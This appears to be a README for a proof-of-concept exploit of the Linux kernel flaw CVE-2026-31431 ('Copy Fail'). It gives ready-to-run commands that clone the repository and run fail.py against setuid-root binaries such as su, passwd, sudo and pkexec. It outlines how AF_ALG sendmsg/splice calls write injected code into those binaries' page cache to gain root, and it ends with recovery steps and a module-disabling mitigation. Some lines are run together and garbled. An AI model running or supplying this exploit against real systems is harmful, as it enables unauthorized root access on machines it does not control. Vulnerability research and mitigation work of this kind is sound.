
Proof-of-concept exploit for Linux kernel CVE-2026-31431 (Copy Fail) that abuses AF_ALG to corrupt setuid-root binaries in page cache, achieving privilege escalation. Includes backup/restore and integrity verification.
A proof-of-concept exploit reproduction of the Linux kernel vulnerability CVE-2026-31431, also known as Copy Fail.
Credits to: Copy Fail
/usr/bin/su)git clone https://github.com/MohamedKarrab/Copy-Fail-CVE-2026-31431.git
cd Copy-Fail-CVE-2026-31431
# targets /usr/bin/su by default
python fail.py
# or any setuid-root (passwd, mount, chsh, sudo, pkexec...)
python fail.py /usr/bin/passwd
In case of exploitation failure, the target binary may not be restored to its original state. Fix it by:
Simply reboot the device. A reboot clears the page cache (the exploit does not modify the binary on disk).
Alternatively, restore a clean /usr/bin/su (or the selected binary) from a trusted package.
Debian / Ubuntu:
sudo apt-get install --reinstall util-linux
Fedora / RHEL:
sudo dnf reinstall util-linux
Arch:
sudo pacman -S util-linux
This exploit abuses an AF_ALG AEAD implementation to write arbitrary 4-byte chunks into the kernel page cache of /usr/bin/su (a setuid-root binary).
sendmsg/splice pairs to inject data into AES-CBC-HMAC processing.text section of /usr/bin/su without touching diskFinally, executing /usr/bin/su loads the poisoned page cache, running injected code as root due to setuid.
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null